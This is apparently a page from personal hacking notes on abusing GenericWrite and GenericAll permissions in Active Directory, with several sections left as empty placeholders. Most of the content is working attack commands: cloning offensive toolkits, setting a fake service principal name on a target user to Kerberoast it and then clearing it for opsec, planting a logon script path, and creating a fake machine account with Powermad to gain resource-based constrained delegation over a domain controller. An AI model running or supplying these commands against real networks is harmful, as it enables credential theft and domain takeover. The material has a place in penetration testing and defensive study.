> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/active-directory/discretionary-access-control-list-dacl/genericwrite-genericall.md).

# GenericWrite/ GenericAll

[GenericAll / GenericWrite / Write on Computer](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-genericwrite-write-on-computer)

[Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution)

[Resource-based Constrained Delegation](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation)

#### download: 

```bash
git clone https://github.com/SecureAuthCorp/impacket.git
git clone https://github.com/PowerShellMafia/PowerSploit.git
git clone https://github.com/Kevin-Robertson/Powermad.git
git clone https://github.com/GhostPack/Rubeus.git
```

#### GenericWrite:

#### User:

<pre class="language-powershell"><code class="lang-powershell">$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
<strong>## Kerberoasting
</strong><strong>Set-DomainObject -Credential $Cred -Identity Target_User -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
</strong>Get-DomainUser Target_User | Select serviceprinciplename
Get-DomainSPNTicket -Credential $Cred Target_User | fl
# Opsec remove
Set-DomainObject -Credential $Cred -Identity Target_User -Clear serviceprincipalname


## Login scripts
Set-DomainObject -Identity Target_User -SET @{scriptpath="C:\Windows\Tasks\login.ps1"}
</code></pre>

#### Group:

```
// Some code
```

#### Object:

```
// Some code
```

#### Machine account:

On Compromised device:

```bash
# Import PowerMad
Import-Module ./PowerMad.ps1

# Set variables
Set-Variable -Name "FakePC" -Value "FAKE01"
Set-Variable -Name "targetComputer" -Value "DC"

# With Powermad, Add the new fake computer object to AD.
New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# With Built-in AD modules, give the new fake computer object the Constrained Delegation privilege.
Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')

# With Built-in AD modules, check that the last command worked.
Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount
```

### WriteAll:

User:

```
// Some code
```

Group:

```
// Some code
```

Object:

```
// Some code
```